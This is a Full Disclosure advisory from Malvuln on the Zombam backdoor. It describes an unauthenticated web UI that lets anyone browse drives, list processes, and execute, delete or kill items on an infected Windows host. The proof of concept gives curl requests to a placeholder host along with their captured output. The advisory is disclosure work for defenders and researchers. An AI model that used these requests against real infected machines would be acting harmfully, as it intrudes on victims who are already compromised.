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Date: Sun, 13 Jun 2021 23:33:43 -0400 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Backdoor.Win32.Zombam.gen / Information Disclosure Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_D.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zombam.gen Vulnerability: Information Disclosure Description: Zombam malware listens on TCP port 80 and deploys an unsecured HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make HTTP GET requests to browse drives, list processes etc. Type: PE32 MD5: ff6516c881dee555b0cd253408b64404 Vuln ID: MVID-2021-0249 Disclosure: 06/13/2021 Exploit/PoC: 1) Get system information CURL http://MALWARE-HOST-IP/info welcome 2 HTTP_RAT infected computer }:] menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage] computer information: Computer name: DESKTOP-2C4IMHO Windows Directory: C:\WINDOWS System Directory: C:\WINDOWS\system32 username: Victim 2) Browse C:, D: drive CURL http://MALWARE-HOST-IP/C:/ welcome 2 HTTP_RAT infected computer }:] menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage] listing of C:/ $Recycle.Bin Boot bootmgr [execute][delete] BOOTNXT [execute][delete] BOOTSECT.BAK [execute][delete] Documents and Settings dump pagefile.sys [execute][delete] PerfLogs Program Files Program Files (x86) ProgramData Recovery swapfile.sys [execute][delete] System Volume Information Users Windows 3) Get processes CURL http://MALWARE-HOST-IP/proc welcome 2 HTTP_RAT infected computer }:] menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage] running processez: [System Process] System [kill] smss.exe [kill] csrss.exe [kill] wininit.exe [kill] csrss.exe [kill] winlogon.exe [kill] services.exe [kill] lsass.exe [kill] fontdrvhost.exe [kill] svchost.exe [kill] fontdrvhost.exe [kill] svchost.exe [kill] dwm.exe [kill] svchost.exe [kill] svchost.exe [kill] Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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